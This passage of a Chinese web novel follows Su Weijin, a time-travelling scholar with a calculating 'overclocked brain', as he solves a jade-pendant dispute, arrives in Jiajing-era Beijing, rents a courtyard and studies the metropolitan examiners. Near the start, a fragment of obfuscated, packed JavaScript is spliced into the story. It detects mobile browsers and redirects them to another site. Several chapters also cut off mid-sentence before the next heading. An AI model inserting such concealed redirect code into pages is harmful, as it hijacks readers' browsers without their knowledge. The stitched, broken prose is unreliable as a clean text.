徐阶也觉棘手,无凭无据,确实难断。
这时,苏惟瑾的目光却飞快地扫过现场。
超频大脑启动,细节被无限放大:
胖商人油腻的指尖、腰间的空环扣;
青年洗得发白的儒衫袖口、因激动而攥紧的拳头;
地上些许洒落的酒渍、
以及…不远处桌角下一点不易察觉的微光。
他轻轻拉了一下徐阶的衣袖,低声道:
“徐兄,可否问问那位夫人,
玉佩的绦子是何颜色?
系的是死结还是活结?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671794|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>徐阶微微一怔,虽不明所以,
但还是依言向那少妇询问。
少妇抽噎着答道:
“是…是深青色丝绦,
系的是…是双环结,
一拉就开的那种活结。”
苏惟瑾点点头,又对徐阶耳语几句。
徐阶眼中闪过一抹讶异和了然,
再次看向那胖商人,
语气平和却带着一丝压力:
“这位员外,你方才饮酒颇多,
行动间难免颠簸。
或许玉佩并非被窃,只是绦子松脱,滑落在地。
不如让大家帮忙在四周仔细找寻一番?
若真是这位兄台所拿,
他仓促间也必然来不及转移藏匿,
搜身亦无不可。
但若寻不到,岂不是冤枉好人,
亦有损员外清誉?”
胖商人酒醒了几分,觉得有理,
又见周围人都看着,便哼了一声:
“找就找!
若是找不到,定是他藏了起来!”
掌柜的连忙招呼伙计和热心的食客在周围低头寻找。
那青年宋卫佳也松了口气,感激地看了徐阶一眼。
众人找了一会,忽听一个伙计叫起来:
“在这里!桌腿底下!”
众人看去,果然见那桌角下暗处,
一块莹白的玉佩静静躺着,
深青色的绦子散开一旁。
胖商人啊呀一声,
赶紧挤过去捡起来,仔细查看,
正是他丢失那块,顿时满脸尴尬。
那少妇也止了哭泣,脸上发红。
宋卫佳长长舒了口气,
向徐阶和苏惟瑾深深一揖:
“多谢两位相公明察秋毫,还小生清白!”
徐阶扶起他,温言道:
“举手之劳,兄台不必多礼。
清者自清。”
他说着,目光却若有所思地瞥了一眼身旁神色平静的苏惟瑾。
围观人群见事情圆满解决,纷纷喝彩:
“这位相公断得明白!”
“真是读书明理啊!”
胖商人讪讪地,对青年拱了拱手,
算是赔礼,拉着妻子赶紧溜了。
回到雅间,屠大山一拍桌子,赞道:
“徐兄果然厉害!
三言两语便化解了一场**!”
姚涞也点头:
“徐兄心思缜密,处事公允,令人佩服。”
林文霈却眼神微动,
笑着看向苏惟瑾:
“方才我似乎见徐兄与苏兄低语了几句?
莫非此中断案,还有苏兄的妙策?”
徐阶坦然一笑,
举起酒杯向苏惟瑾示意:
“不错。若非惟瑾兄提醒我问那绦子与结扣,
并推测是醉客自行滑落,
我也难想到此节。
惟瑾兄观察入微,
心思玲珑,徐某佩服。”
众人闻言,皆惊讶地看向苏惟瑾。
原来这少年解元,
不仅文章做得好,
竟还有这般敏锐的洞察力和急智!
苏惟瑾忙谦逊道:
“徐兄过奖了。
我也是胡乱猜测,幸而蒙中。
全赖徐兄出面,言辞得体,
方能平息事端。”
经此一事,徐阶对苏惟瑾的评价又高了一层。
林文霈、姚涞、屠大山几人更是收起了最后一丝轻视,
真正将这位年轻的解元视作了同等分量的人物。
酒宴气氛愈发融洽,众人言谈甚欢,直至日落西山方才散去。
走出太白楼,华灯初上,济宁州城依旧热闹。
苏惟瑾与徐阶等人告别,约定京城再聚。
走在回客栈的路上,
苏惟瑾回想方才之事,心中淡然。
这不过是超频大脑基于逻辑和细节分析的一点小应用罢了。
前方的北京,那才是真正需要大智慧、大魄力的舞台。
他抬头望了望北方星空,步履沉稳而坚定。
第127章 抵达京城,初感帝都威
在济宁与徐阶等人别过,
客船继续沿运河北上。
越往北,寒意愈浓,
两岸风光也愈发苍茫开阔。
过了临清,运河上的漕船愈发密集,
往往数十艘连樯而行,
旌旗招展,显示出帝国漕运最后的繁忙景象。
这一日,船老大高声喊道:
“各位客官,通州码头快到了!
收拾好行李,准备下船换车马进京喽!”
苏惟瑾走出船舱,
但见前方河道骤然开阔,
码头规模远超济宁,
无数漕船、官船、客船、货船挤挤挨挨,
几乎塞满了水面。
岸上车马喧嚣,人声鼎沸,
各种口音的吆喝声、讨价还价声、
骡马嘶鸣声混杂在一起,
形成一股巨大的声浪,扑面而来。
空气中弥漫着河水、尘土、牲口、
以及无数人聚集特有的复杂气味。
“好…好大的码头!”
苏惟虎张大了嘴巴,几乎合不拢。
连一向沉稳的苏惟山也面露震撼之色。
小奇更是紧紧抓着苏惟瑾的衣角,
有些目眩神迷。
这就是通州,
京杭大运河的北端终点,
帝国漕粮物资汇总之地,
北京城的东大门!
船只艰难地在一片帆樯中找到空隙靠岸。
苏惟瑾几人随着人流下了船,
立刻便被一群招揽生意的脚夫、车夫围住。
“老爷!用车吗?稳当便宜!”
“相公!进城吗?
俺的车又快又干净!”
“行李俺来扛!保管妥帖!”
苏惟山护住行李,
苏惟虎瞪着眼挡在前面。
苏惟瑾目光一扫,
选了个面相憨厚、衣着虽旧但干净的中年车夫,
谈妥了价钱,将行李搬上一辆半旧的骡车。
“几位相公是头回来京吧?”
车夫一边驾车,
一边热情地搭话。
“咱通州热闹吧?
告诉您,这还不算啥,
等进了北京城,那才叫真热闹!”
骡车吱呀呀地驶离喧嚣的码头区,上了官道。
路面宽阔平整,车马络绎不绝,
大多都是朝着西面那个巨大的方向而去。
行了约莫半个时辰,远远地,
一道巨大的、灰色的轮廓逐渐在地平线上清晰起来,
如同一条匍匐的巨龙,
散发着亘古、苍凉而威严的气息。
北京城墙!
越是靠近,越是能感受到其无与伦比的压迫感。
城墙高耸入云,墙体厚重如山,
一块块饱经风霜的巨砖垒砌,
沉默地诉说着帝国的力量与秩序。
巨大的垛口、巍峨的敌楼、
在阳光下反射着冷光的兵刃,
无不提醒着人们这座城市的至高无上。
车夫指着前方一道巨大的城门洞,
语气带着敬畏:
“相公,那就是齐化门(今朝阳门),咱就从这儿进城。”
城门洞深邃幽暗,
行人车马如潮水般涌入流出,
却在那巨大的门洞和两旁披甲执锐、
目光锐利的守城兵丁注视下,
不由自主地收敛了声息,
变得井然有序。
查验路引、缴纳城门税的过程一丝不苟,
带着一种不容置疑的程式化威严。
骡车缓缓穿过长达十数丈的门洞,
俨然从一个世界进入了另一个世界。
光线骤然明亮,喧嚣声浪再次涌来,
却与通州码头、金陵秦淮的喧嚣截然不同。
眼前是宽阔得惊人的街道,
青石板铺地,足以容纳十数辆马车并行。
街道两旁店铺林立,招牌幌子密密麻麻,
绸缎庄、皮货局、药铺、茶庄、酒楼、客栈……
鳞次栉比,一眼望不到头。
人流如织,摩肩接踵,
穿着各色服饰,操着南北口音,
有乘坐轿帘低垂官轿的官员,
有骑着高头大马的武官家丁,
有牵着骆驼的西域胡商,
有挑着担子吆喝的小贩,
有步履匆匆的文吏,
有衣着光鲜的士绅……
三教九流,汇聚于此。
空气中不再是单纯的市井气息,
更混杂着一股若有若无的、
来自紫禁城的檀香和权力的冰冷味道。
一种无形的、沉重的威压弥漫在空气里,
让初来者不由自主地屏息凝神,心生敬畏。
这就是北京!
大明的中枢,皇权所在,天下风云汇聚之地!
“瑾哥儿,这…这路也太宽了…”
苏惟虎小声惊叹,
声音都不自觉地压低了。
苏惟山也深吸一口气,低声道:
“天子脚下,果然气象非凡。”
小奇更是紧紧靠着苏惟瑾,
大眼睛里充满了震撼和一丝怯意。
苏惟瑾坐在车上,
目光沉静地扫视着这座庞大的帝都。
超频大脑以前所未有的效率运转着,
疯狂地记录、分析、处理着涌入的海量信息。
街道的规划布局、建筑的规制高低、
行人的衣着神态、商铺的种类分布、
甚至空气中不同的气味分区……
无数细节被捕捉、归类、解读。
他能清晰地“看”到这座城市运行的逻辑:
严格的等级秩序隐藏在繁华之下。
越靠近内城,巡街的兵丁越多,
官员模样的轿子越多,
商铺的档次也越高,
连行人的步伐似乎都更匆忙、
更带有目的性。
而那些挑担推车的小贩、
衣衫褴褛的苦力,
则更多地出现在外城或某些特定的街巷。
与南京那种带着江南水汽的、
文人式的繁华风雅不同,
北京的繁华,带着一种北方的硬朗和一种政治中心特有的、冷峻的秩序感。
这里的每一块砖石,
似乎都浸透着权力的味道;
这里的每一个人,
似乎都或多或少与那个庞大的官僚体系有着联系。
骡车沿着大街行驶,
偶尔能透过街巷空隙,
望见更远处那一片金碧辉煌、
巍峨耸立的宫殿群飞檐斗拱,
第128章 觅得小院,安身宣南坊
“云来”客栈虽好,
终究不是久居之所。
且临近春闱,京城客栈价格飞涨,
长住下去花费甚巨。
苏惟瑾深知,欲在京师立足,
需有个稳定的据点。
翌日一早,他便带着苏惟山出了门,
直奔宣武门外南城一带
——那便是京城有名的“宣南”地界。
与内城的肃穆规整不同,
一过宣武门,气氛便鲜活嘈杂许多。
街道略窄,人流却更密集,
茶寮、酒肆、书坊、会馆鳞次栉比,
各地口音交汇,俨然一个缩小版的江湖。
此处离贡院不算太远,
租金又较内城低廉,
故而成为进京官员、候缺吏员、
尤其是各地赶考举子的首选聚居地。
空气中好似都飘荡着功名、
钻营、等待与梦想交织的复杂气息。
“瑾哥儿,你看这地方,读书人真多!”
苏惟山瞧着街上往来众多身着襕衫或直裰的文士,低声感慨。
苏惟瑾微微点头。
超频大脑已快速扫描环境:
沿街墙壁贴满了租赁告示,
牙行(中介)伙计们眼睛毒辣,
一眼便能分辨出谁是真有需求的潜在客户。
不少院落门口挂着“吉房出租”或“寓京同乡会馆”的牌子,
隐约可闻院内传来的读书声或争论声。
他们寻了家看起来老实的牙行。
牙人是个精瘦的中年汉子,
见苏惟瑾虽年轻,但气度沉静,
衣着得体(得益于“玉衡皂”的收益),
不敢怠慢,热情介绍起来。
“相公是来赶考的吧?
宣南这地界儿,最是方便!
您看这院,三间北房,
带个小厢房,独门独院,清静!
离国子监就两条街,
走路去贡院也不过一刻钟!
月租这个数。”
牙人伸出两根手指,又迅速翻了一下。
“二十两?”
苏惟山倒吸一口凉气。
“这都快抵得上家里半年嚼用了!”
牙人嘿嘿一笑:
“这位小哥,京城米贵,居大不易啊!
这已是看在相公是读书人的份上,
给的实惠价了。
您瞧瞧这地段,这格局!”
苏惟瑾面色不变。
超频大脑迅速比对沿途所见其他房源信息和市场价格,
判断这个价格虽偏高,
但尚在合理区间内,
主要是地段溢价。
他并未立刻还价,而是道:
“先看看房子。”
看了两三处,要么过于喧闹,临近街市;
要么房屋破旧,潮湿阴冷;
要么房东条件苛刻,要求诸多。
苏惟瑾都不太满意。
他需要的是一个绝对安静、
安全、便于他专心备考
并能进行一些隐秘活动的空间。
直到牙人引他们来到一处位于胡同深处的小院。
院门不大,黑漆有些剥落,却显得低调。
推门进去,院子不大,
但方正,一棵老枣树虬枝盘曲,
树下有石桌石凳。
三间北房,青砖灰瓦,窗明几净,
东边一间小厢房可做厨房或仆役住所。
最重要的是,左右邻居似乎也都是安分人家,
门户紧闭,十分安静。
“这院原是一位老御史致仕回乡后空出来的,
家具物什都齐全,保养得也好。
就是…价格稍贵些,月租二十五两。”
牙人小心翼翼道,观察着苏惟瑾的脸色。
苏惟瑾里外仔细看了一遍。
超频大脑评估:
位置僻静,结构合理,
设施完好,邻居不扰,符合所有要求。
他目光扫过窗棂上新糊的雪白窗纸
和地上扫得干干净净的青砖,
心中已有决断。
“二十两。”
他开口,语气平静。
“一次性付三个月。
若成,即刻立契。”
牙人面露难色:
“这个…相公,二十五两已是底价…”
“此院虽好,但位于巷底,出行略不便。
且左邻右舍皆无声息,
恐是空置已久,
房东也急于出租吧?”
苏惟瑾淡淡点破。
牙人噎了一下,
没想到这年轻举子眼光如此毒辣,
砍价直切要害。
他搓着手犹豫片刻,终于一跺脚:
“成!看相公是个爽快人,
就二十两!权当交个朋友!
只是这中介费…”
“照规矩付你。”
苏惟瑾干脆利落。
立契、交钱、拿钥匙,一气呵成。
苏惟山在一旁看得目瞪口呆,
没想到自家瑾哥儿砍价也如此厉害,
且那股不容置疑的气度,
竟将那老练的牙人也压了下去。
当日下午,几人便从“云来”客栈搬入了这小院。
苏惟虎和小奇兴奋地打扫布置,
苏惟山则负责采买米面粮油等一应生活物资。
苏惟瑾亲自规划了房间用途:
正房中间为客厅兼书房,
东侧为卧室,西侧暂时空置;
厢房给苏惟山三人居住。
安顿甫定,书案摆开,
书籍笔墨陈列整齐,
小院立刻便有了几分书香之家的气息。
苏惟瑾坐在窗明几净的书房内,
终于舒了口气。
在京城,总算有了一个属于自己的、
可以安心经营的小小据点。
但他并未沉浸在安稳中太久。
超频大脑时刻提醒着他,
时间紧迫,信息至上。
京城水深,若不能尽快掌握动向,
无异于盲人骑瞎马。
他吩咐苏惟山:
“出去打听打听,近日京城里有哪些新鲜事?
特别是与会试、朝局相关的。
茶楼、酒肆、书坊,
都可去坐坐听听。
注意,只听不说,莫要惹事。”
又对小奇道:
第129章 山雨欲来,暗流涌京城
小院的枣树尚未抽芽,
光秃秃的枝桠划破北京初春灰蒙蒙的天空。
几日下来,苏惟山三人打探来的零碎信息,
如同散落的拼图,
在苏惟瑾的超频大脑中逐渐拼接,
显露出一幅远比想象中复杂的京师图景。
时值嘉靖二年正月十六,冬寒未褪,
**空气却已燥热得令人不安。
最大的风暴中心,
无疑仍是持续发酵的“大礼议”。
这场由皇帝欲追尊生父兴献王为皇考而引起的朝堂大辩论,
早已超越了简单的礼仪之争,
演变成新旧势力的生死搏杀。
“瑾哥儿,茶楼里都在悄悄议论,”
苏惟山压低声音,面色凝重。
“说杨廷和杨阁老虽然致仕了,
但门生故旧遍布朝野,势力还在。
陛下身边那张璁、桂萼几位大人,
势头正劲,抓着‘继统不继嗣’的道理,步步紧逼。
两边在朝会上吵得不可开交,据说都快动手了!”
小奇也补充道:
“国子监里也分了好几派,
有骂张璁他们是谄媚小人的,
也有说杨阁老他们固执迂腐的,
争得面红耳赤,差点打起来。”
苏惟瑾指尖轻轻敲击桌面。
超频大脑飞速检索着相关记忆:
杨廷和,前朝老臣,顾命内阁首辅,
代表着传统的文官集团和士林清议;
张璁、桂萼,则是抓住嘉靖皇帝心思,
以“大礼”为晋身之阶的新锐官员,
背后是皇权的支持。
这场争斗,是相权与皇权的延伸,
是旧秩序与新秩序的碰撞。
而他的座师,新任礼部右侍郎翟銮,
立场似乎颇为微妙。
苏惟山打听到,翟銮并非杨廷和的嫡系,
但也非张璁一派。
他以学问渊博、处事公允著称,
在两边似乎都能说上话,
但又都保持着一定距离。
这种位置,往往最是凶险,也最需智慧。
“翟师府上回帖了么?”
苏惟瑾问。
“回了,”
苏惟山忙道。
“翟府管家说,
翟大人近日公务繁忙,
陛下常召见议事,
让相**心备考,待得暇再召见。”
公务繁忙?
陛下常召见?
苏惟瑾目光微凝。
在这“大礼议”的关键时刻,
礼部侍郎被皇帝频繁召见,
其中意味,耐人寻味。
翟銮让他“安心备考”,
是单纯的关怀,
还是暗示他暂时不要卷入漩涡?
另一重压力则来自即将到来的春闱。
会试主考官的人选,至今未有明旨,
但各种猜测早已沸沸扬扬。
“有说是由翰林院掌院学士挂帅的,
也有说陛下可能亲自点将,
甚至可能让议礼有功之臣…”
苏惟山道。
“现在谁也不知道最后会是谁。
但都说,这次春闱的策问题目,
必定紧扣时务,
尤其是…‘大礼’之后的人事更迭与朝局走向。”
苏惟瑾的心微微一沉。
他想起了自己在金陵写的那篇漕运策论。
其中“官督商运”、“海运试探”等观点,
在当时看来是惊艳,
在此刻京城这敏感而压抑的空气中,
却可能变成烫手的山芋,
甚至授人以柄!
若主考是杨廷和一派的守旧老臣,
见此离经叛道之论,会作何想?
若主考是张璁一派急于立功的新贵,
是否会拿此大作文章,将他强行贴上某派标签?
甚至,若皇帝本人关注此次春闱,
看到这等激进改革之策,
是会欣赏,还是震怒?
超频大脑模拟着各种可能性,
推演出的结果大多不容乐观。
他那份策论,就像一把锋利的双刃剑,
在金陵可以助他夺魁,
在京城却可能未伤敌先伤己!
“还有一事,”
小奇有些怯怯地插话。
“少爷,我在书市听到有人议论…议论您。”
“哦?”
苏惟瑾抬眼。
“他们…他们说南直隶的解元是个十几岁的少年,
文章写得花团锦簇,
但…但策论里有些想法,
太过骇人听闻,
怕是…怕是难容于京师大佬…”
小奇越说声音越小。
消息传得真快!
苏惟瑾面色不变,心中却凛然。
果然,他的名声和那篇策论,
已然引起了某些人的注意。
这未必是好事,很可能已将他置于风口浪尖。
他甚至能感觉到,
在这座巨大的帝都里,
似乎有无数双眼睛在暗中审视着每一个新来的举
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尤其是他这样声名在外的“少年天才”。
无形的网早已张开,只待鱼儿游入。
隔壁院子那位新搬来的南方举子,
据苏惟虎观察,排场不小,仆役如云,
终日闭门谢客,偶尔出门也是车马相接,神秘得很。
苏惟瑾让苏惟山借口送些家乡土仪去探访,
竟被门子客气而坚定地挡了回来,
只说家主正在潜心备考,不便见客。
是同样谨慎的赶考士子?
还是某方势力派来就近监视的眼线?
超频大脑无法断定,但警惕性已提到最高。
夜幕低垂,京城实行宵禁的梆子声由远及近,更添几分肃杀。
小院内灯火通明,
苏惟瑾却感到一种无形的、
巨大的压力从四面八方袭来。
这里不再是金陵那个可以凭借超世才华纵情挥洒的舞台。
这里是北京,是权力绞杀的中心,
每一句话都可能被解读,
每一个行为都可能被放大,
每一步都可能踩中不知名的陷阱。
“大礼议”的滔天巨浪就在眼前,
春闱的走向迷雾重重,
自身那惊世骇俗的策论福祸难料,
座师态度暧昧不明,
暗处可能还有窥伺的目光……
苏惟瑾推开窗,
一股冰冷刺骨的夜风涌入,
让他精神一振。
他深吸一口气,那空气中弥漫的,
不再是简单的寒冷,
而是权力博弈的硝烟味。
真正的挑战,现在才刚刚开始。
超频大脑在高压下运转得愈发冰冷而高效,
无数信息流奔腾交织,
寻找着破局的可能。
山雨欲来风满楼。
在这嘉靖二年初春的北京城,
苏惟瑾感到自己仿佛一叶扁舟,
正驶入一场巨大风暴的中心。
但他眼底深处,
却燃起一丝更加炽烈的光芒。
越是惊涛骇浪,越显弄潮儿本色。
他轻轻关上了窗户。
“惟山,将我那篇漕运策论的底稿找出来。”
“小奇,磨墨。”
“惟虎,守住院门,任何人不得打扰。”
声音平静,却带着不容置疑的决断。
他需要重新审视那份可能带来灾祸也可能带来机遇的策论,
在风暴来临前,做好万全的准备。
棋局已开,落子无悔。
第130章 织网京师,建模风云局
小院的灯火常常亮至深夜。
苏惟瑾面对那篇可能惹祸的漕运策论,
并未急于修改,
而是做出了一个更根本的决定
——在落笔之前,
必须先彻底看清这京城棋局的每一颗棋子,每一条脉络。
闭门造车,无异于盲人摸象。
超频大脑最强大的,
并非仅是记忆与运算,
更是基于海量信息进行模式识别与推演的能力。
而此刻,他最需要的,正是信息!
“惟虎哥”
次日清晨,苏惟瑾将孔武有力的族兄叫到跟前。
“瑾哥儿,有啥力气活?”
苏惟虎搓着手。
“不是力气活,是精细活。”
苏惟瑾递过一小袋碎银子。
“你去买几身半旧不新的棉布袄子,
要像是常在外头跑生活的。
从今天起,你不是举人老爷的族兄,
你是刚从通州漕船上卸完货、
在京城找零活干的退伍老军余。”
苏惟虎愣了一下,随即眼睛发亮:
“嘿,这个俺在行!俺们都是军戶出身。
俺爹当年就在卫所当过差!”
“要的就是你这股劲儿。”
苏惟瑾叮嘱。
“去京营附近的茶馆、兵卒常去的酒铺,
听听他们抱怨什么?
军官们最近忙什么?
营里可有啥调动风声?
还有各衙门口等差事的小吏,
他们消息最灵通,
听听他们聊各部堂官的老爷们最近脸色如何?
哪家侯府伯爷家又有什么新鲜事?
记住,只听,不问,
偶尔搭句腔,
抱怨两句粮饷物价就行。”
苏惟虎听得连连点头,拍着胸脯:
“瑾哥儿放心,包在俺身上!
保证谁也看不出破绽!”
他本就带着几分军户子弟的粗豪气,
换上旧袄,混入市井,简直是如鱼得水。
打发走苏惟虎,苏惟瑾又铺开信纸。
他需要更高层的信息渠道。
首先给南京的文徵明去信,
问候近况,请教书画学问,
末了才似不经意间提及已抵京,
深感帝都气象万千,人物风流,
不知近日京中翰苑有何新鲜诗文、雅事趣闻?
文徵明交游广阔,虽远离中枢,
但其友人门生遍布京华,
从文艺视角往往能窥见别样风情。
接着,他修书给南直隶提学御史周孚先,
恭敬汇报已安顿,正全力备考,
感谢老师昔日栽培,
并请教经义上几个疑难问题。
周孚先作为学官,
对科举动态、
可能出任考官人选的学术偏好,
必然有内部消息。
最后,他再次恭敬地给座师翟銮府上递了帖子,
并非求见,只是呈上一篇精心准备的时政策问文章,
就漕运、边备等议题请老师指点斧正,
字里行间流露出对朝局动向的关切与迷茫,姿态放得极低。
这是一次小心翼翼的试探,
既显示好学,也观望翟銮的反应。
与此同时,苏惟瑾本人也开始低调地参与一些士子间的文会。
他不再像在金陵那般轻易显露锋芒,
大多时候只是安静聆听,
观察哪些士子言论激进,
哪些背景深厚,
哪些又与朝中官员有着千丝万缕的联系。
超频大脑如同一台高精度录音机,
记录下每一个名字、每一次争论、
每一个可能透露背景的细节。
信息开始从不同渠道汇涌而来。
苏惟虎那边收获颇丰,
他混迹市井,带回来的消息杂乱却鲜活:
“瑾哥儿,京营的弟兄们在抱怨,
说开春了操练更苦,上面查得紧,
像是要有什么大动作…”
“茶馆里听个小吏说,
户部最近为漕粮损耗的事头疼,
好几个主事被骂得狗血淋头…”
“还有个顺天府的差役喝多了吹牛,
说昨天帮某侍郎家公子摆平了桩风流官司,
花了这个数…”
他伸出五根手指。
文徵明回信很快,洋洋洒洒谈论书画后,
末尾提了几句:
“…京中近日文会,多咏瑞雪祥瑞,
然亦有忧国之士,
私底下作《流民叹》,颇辛酸。
翰苑诸公,似多缄默,
唯见新贵门庭若市…”
隐晦地指出了清流失势、
议礼新贵得意的现状。
周孚先的回信则更务实,
解答经义后,笔锋一转:
“…春闱在即,主考人选,
阁部争执不下。
然无论谁掌文衡,经义根底为重,
时政策问,须把握分寸,
言之有物且不逾矩,
方是稳妥之道…”
几乎是明示他收敛锋芒,稳健为上。
而翟銮府上,依旧没有召见的意思,
只是派人送回了他那篇文章,
上面多了几句精辟的批注,
尤其在“海运试探”旁批了“言之过早,
徒惹争议”八字,关切之余,
警示意味亦十分明显。
无数的信息碎片
——某官员的喜好、门生故旧的关系网、
近期奏疏的大致内容、
京城米价油价的细微波动、
甚至某位尚书家老太太做寿的排场…
这些看似毫不相关的庞杂信息,
被源源不断地输入苏惟瑾的超频大脑。
大脑开始全功率运转!
不再是单一处理经义文章,
而是进入了更复杂的“情报分析与政治建模”模式。
信息被飞速分类、清洗、去伪存真。
交叉比对:
京营操练加紧+户部为漕粮头疼+陛下近期关注实务→可能朝廷有意整顿漕运或边备?
关联分析:某官员门生近期活跃+其政敌奏疏被留中不发+其家眷采购奢华→此人可能正得圣眷,或掌握对手把柄?
模式识别:多位清流官员称病不朝+议礼新贵频繁被召见+市井流传陛下对旧臣不满→“大礼议”清洗仍在继续,
政治风向明确偏张璁一派。
渐渐地,一张无形而复杂的“京师人际关系与政治态势模型”开始在苏惟瑾的意识中清晰起来。
谁是核心决策者?
谁是得势派?
谁是失意者?
哪些议题敏感?
哪些领域可能有变?
第131章 会试主考定,阵容细解读
二月的北京,寒风依旧料峭,
但一股躁动的热流已在无数赶考士子心中涌动。
春闱之期日益临近,
最大的悬念——会试主考官人选,
终于伴随着礼部衙门前张贴的煌煌告示,尘埃落定。
消息像长了翅膀一样,
瞬间飞遍了宣南的每一条胡同、
每一家会馆、每一处茶馆。
苏惟瑾正在小院中揣摩经义,
苏惟山几乎是一路小跑着冲了进来,
气喘吁吁,脸上又是兴奋又是紧张:
“瑾哥儿!定了!
主考定了!
正主考是礼部尚书兼文渊阁大学士石珤(bǎo)石阁老!
副主考是吏部右侍郎贾咏贾大人!”
来了!
苏惟瑾眸光一凝,放下手中的书卷。
超频大脑瞬间启动,
白驹过隙间化身被触发的精密仪器,
庞大的历史数据库与近期搜集的京城情报飞速交叉检索。
石珤?贾咏?
与他潜意识里某个模糊的历史记载(蒋冕、石珤、毛澄)略有出入,
但大体脉络吻合。
或许是时空细微的偏差,
或许是因他这只蝴蝶翅膀的扇动?
不重要。
重要的是当下既成的事实。
“还有呢?
同考官(分房考官)都有谁?
知贡举(总务负责)是谁?”
苏惟瑾追问,细节决定成败。
苏惟山努力回忆着告示上和听来的名字:
“同考官…
有翰林院的马汝骥马学士、陈沂陈学士…
还有好几位,记不全了。
知贡举好像是…
礼部的毛澄毛尚书?”
毛澄!
这个名字让苏惟瑾心神微震。
这位在“大礼议”中坚决反对皇帝的大礼观,
因而失势的礼部老尚书,
竟被安排负责会试总务?
这其中平衡与制衡的意味,耐人寻味。
“详细说说外面士子们都在议论什么?”
苏惟瑾沉声道,走向书案,铺开纸笔。
苏惟山定了定神,忙道:
“茶楼里都炸开锅了!
说石阁老是成化年的老进士,
学问是极好的,
但…但性子古板,最重经义根基,
厌恶花里胡哨、离经叛道的文章。
都说这次经义文章,
必须做得四平八稳,
引经据典,错一个字都可能坏事!”
“那位贾侍郎呢?”
苏惟瑾笔尖飞快记录。
“贾大人…说法就多了。
有说他学问不如石阁老,
但为人活络,是嘉靖元年才升上来的,
据说…据说和宫里某些大珰(太监)
以及新崛起的张璁、桂萼几位大人有些说不清道不明的关系。
都猜他可能更看重策论,
尤其是…是否能揣摩圣意,切合时务。”
信息汇总完毕。
苏惟瑾闭上双眼,
超频大脑以前所未有的功率运转起来,
将所有关于石珤、贾咏、毛澄以及已知同考官的信息碎片调动、整合、分析:
石珤,北直隶藁城人,
成化二十三年进士,
历任翰林、礼部,性格刚直,
学术上倾向于程朱理学正统,
文章风格沉稳厚重,
厌恶“险怪奇涩”之文。
政治立场上不属于杨廷和核心圈,
但也绝非张璁一党,
算是相对正直的守旧派。
其取士偏好:
根基扎实,文风端正,严守义理。
贾咏,河南南阳人,弘治九年进士,
吏部干吏出身,精明圆滑,善于钻营。
其升迁轨迹在嘉靖元年后明显加速,
与议礼新贵集团存在潜在利益交换可能。
其取士偏好:
策论需言之有物,
最好能关注陛下正忧虑的实务(如漕运、边备、财政),
且观点不宜过于激进,
但需显示出“为君分忧”的倾向。
毛澄,知贡举,虽掌实务不直接阅卷,
但其存在本身就是一种政治信号,
可能会在流程和氛围上施加影响,
确保会试不至于完全被一方势力把持。
同考官马汝骥、陈沂等,
多为翰林院清流,学术严谨,
但需关注他们与石、贾二人的关系亲疏。
无数信息流奔涌、碰撞、推演…最终,
一套极度精准、极具针对性的备考策略在苏惟瑾脑中清晰成形!
他猛地睁开眼,目光锐利如炬。
“惟山,将我之前所有的策论练习稿都找出来!”
“小奇,重新研墨!”
“惟虎,守住门,天塌下来也别让人打扰!”
命令短促而有力。
苏惟山和小奇立刻行动起来,
他们能感觉到,
自家瑾哥儿进入了一种前所未有的专注状态。
苏惟瑾迅速抽出一叠稿纸,
那上面是他练习的各种策论题目。
超频大脑如同最高效的编辑器,
开始对这些文章进行“手术式”修改。
针对石珤的偏好:
所有经义部分,引据务必更加精确到朱注原典,
措辞愈发稳重,杜绝任何可能被理解为“奇巧”的比喻和联想。
文章结构回归最经典的起承转合,
不求惊艳,但求无懈可击,
如同老僧坐禅,稳如泰山。
针对贾咏的偏好:
策论部分,保留“切中时弊”的核心分析,
但将“官督商运”、“海运试探”等过于扎眼的激进建议,
巧妙转化为“加强漕运监管,
厘清损耗”、“于近海稳妥处试行新法,
积累经验”等更显“老成谋国”的表述。
同时,在文中适当增加“仰赖陛下圣明”、“伏乞圣裁”等体现忠君思想的词句,
并将解决问题的最终希望归于“朝廷德化”、“陛下英断”。
他甚至根据贾咏的籍贯和可能的人际网络,
在论述漕运时,
巧妙地加入了对河南地区粮仓存储、
运输环节的一些正面肯定(贾咏可能乐于见到),
而对某些争议较大的环节的批评,
则模糊了地域指向。
这绝非简单的迎合,
而是在深刻理解考官心理和政局风向后的精准微调。
是在不牺牲核心观点的前提下,
为惊世骇俗的思想穿上了一件符合当下审美和规则的“得体外衣”。
笔尖在纸面上沙沙作响,速度快得惊人。
一篇篇经过精心“伪装”和优化的文章新鲜出炉,
它们依然闪烁着智慧的光芒,
第132章 考前押题?不,是趋势
春闱日期迫近,
整个北京城仿佛一个巨大的、
即将喷发的火山,
压抑着无数躁动与期盼。
宣南地区的各家会馆、客栈、乃至茶楼酒肆,
几乎成了各地举子的临时沙龙。
空气中弥漫着墨香、
焦虑和挥之不去的讨论声,
而最核心的话题,
永远绕不开三个字——押题。
“听闻石阁老近日重注《春秋》,
尤重‘尊王攘夷’之义,
此番经义大题,必出于此!”
“非也非也!
贾侍郎务实,去岁江淮水患,
陛下甚忧,策问恐及水利!”
“吾以为不然,‘大礼’初定,
陛下或问及礼乐教化之本…”
“边关近日不宁,俺答部蠢蠢欲动,兵策亦有可能!”
诸生各执一词,引经据典,争论得面红耳赤。
有人捧着不知从哪淘换来的“权威押题秘卷”如获至宝,
有人四处打探考官近况喜好,
更有甚者,竟想去钻营考官门路,
希冀能得到一丝半点的“暗示”。
整个士林,弥漫着一股投机取巧的浮躁之气。
苏惟瑾的小院,
却如同风暴眼中的宁静之地。
他拒绝了所有不必要的文会邀约,
对外界的纷纷扰扰充耳不闻。
苏惟山和小奇偶尔从外面带回各种光怪陆离的“押题”消息,
他也只是一笑置之。
“瑾哥儿,您…真不猜猜题?
外面都快传疯了,
说必考《禹贡》地理!”
苏惟山忍不住问道。
苏惟瑾放下手中那份刚从衙门小吏口中旁敲侧击得来的、
关于去岁太仓库出入账目的零碎信息记录,摇了摇头:
“猜题?徒劳无功。
石珤、贾咏皆非迂腐之人,
